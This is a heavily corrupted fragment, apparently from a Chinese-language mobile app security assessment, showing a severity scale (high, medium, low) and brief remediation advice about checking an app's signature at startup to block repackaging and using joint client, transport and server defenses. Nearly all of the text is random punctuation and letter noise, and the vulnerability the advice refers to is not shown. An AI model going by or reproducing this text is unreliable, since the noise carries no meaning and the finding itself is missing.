3 Z3 \5 h5 n! ~* F5 }$ ` * S$ m) E7 `& S. `4 O$ R0 i 严重程度 ( a+ T4 H9 S0 |. ^1 h x+ g# T 7 Y+ Q, a' ?8 y* W	7 O- n: D- P5 W- \ 高 0 b' ]: U0 b# _4 x 6 R- P& p% ?* y* D/ Z9 d	$ w" s& k8 y! Y/ W) D E 2 p4 y/ j# b3 r p L ■ 1 x+ P/ t9 f3 S& r& D* D ! t. w0 W1 {% j7 N6 y* X5 z # W0 ]8 Z! h V$ r9 B; U$ ~	2 g( u7 E, R7 V& [1 D % W( G6 i" e. I 4 T2 P* u i- s8 j' \9 w, N; m 中 / ~/ c, f/ H9 ^1 J8 Q: ?/ d	6 x3 M, K( M+ M1 z# I & W' w2 ?$ h( G: P& e# E! |6 ] : V1 \( C' E: u% N5 w& ^ / Z" p; g4 ?" {5 j O" B1 P$ {   6 g U) }) T( x: _: k	/ Q# |0 [8 B9 s9 m' M - a; N8 }, V. V6 @) J/ F- T: P$ J! u 低 1 |: O% i1 A2 x' o3 W2 I7 U& I : Z; H4 ^0 a- m+ G9 G! F! O4 C	; }5 Q! J2 h& ~6 Y8 v8 v / k- q+ S. o2 J* n& M   " K. y7 {' [( A$ U- `2 [1 s ; d) \1 n% ^' \0 ]$ ]4 F) p' B

, D6 i2 C$ O" X5 k , S8 I" v9 |: Q+ J8 T& R& w

+ g1 {: t& ^( t$ R! ~

  2 p' M9 C% x4 C u( T6 O9 {9 W

; H5 r6 R7 d& a6 i8 l

2 n2 ]% N, X- V# r & ]( G1 }8 v4 R3 c 修复方法： % Q; m' B% O4 W+ \; h$ K

3 [1 T; T' W. k I

0 ^, d) |7 R9 h5 [ Z' N& t& m# g7 S. R0 m# M               1.在 APP 启动时应做签名校验防止二次打包。
( \2 r) E3 `0 o& c/ C. e. v 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 7 a( w, h) w1 u1 |

5 [: [* Y& _) {5 H7 n. h1 R4 d

  $ I; q% c- R3 _0 h ! A8 D7 M( o# I- l- s% I& T

) }# j9 F8 L) I: D( S5 {2 E 9 N# {5 C3 K+ j0 p8 C$ t $ M* K) J' }4 K

9 ]7 f6 \; ` [) [7 z' l' A' a4 _
. O4 Z6 o4 f3 b) c* i2 B+ I& v) i8 H